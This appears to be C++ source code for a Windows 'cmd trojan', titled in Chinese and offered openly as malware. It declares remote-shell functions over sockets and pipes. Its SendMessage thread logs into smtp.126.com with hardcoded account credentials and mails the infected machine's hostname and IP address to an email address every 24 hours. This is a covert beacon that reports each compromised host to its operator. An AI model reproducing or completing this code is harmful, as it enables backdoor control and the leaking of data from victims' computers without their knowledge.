一个 简单的cmd 木马（源代码)

// woodtc.cpp : Defines the entry point for the console application.//

#include "stdafx.h"#include "WoodSMTP.h"

#define BUFFER_SIZE 1024

typedef struct{ HANDLE hPipe;SOCKET sClient;}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA{ HANDLE hProcess;DWORD dwProcessId;struct PROCESSDATA *next;}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;PPROCESSDATA lpProcessDataHead;PPROCESSDATA lpProcessDataEnd;

DWORD CmdService();DWORD WINAPI CmdShell(LPVOID);DWORD WINAPI ReadShell(LPVOID);DWORD WINAPI WriteShell(LPVOID);

DWORD WINAPI SendMessage(LPVOID);

int main(int argc,char *argv[]){ WSADATA wsa;WSAStartup(MAKEWORD(2,2),&wsa);

HANDLE hThread=CreateThread(NULL,0,SendMessage,NULL,0,NULL);if(hThread==NULL){ }CmdService();return 0;}

DWORD WINAPI SendMessage(LPVOID){ CWoodSMTP mail;while(true){ if(mail.ConnectHost("smtp.126.com","forwoodts","forwoodts10030")){ char inf[500]="MYINF@";

char name[255];PHOSTENT hostinfo;if(gethostname(name,sizeof(name))==0){ strcat(inf,"MYNAME@");strcat(inf,name);

if((hostinfo = gethostbyname(name)) != NULL){ char *ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);strcat(inf,"MYIP@");strcat(inf,ip);}}

if(mail.SendTXT("[email protected]","[email protected]",inf)){ OutputDebugString("mail send....\n");}}

Sleep(1000*60*60*24);continue;}return 0;}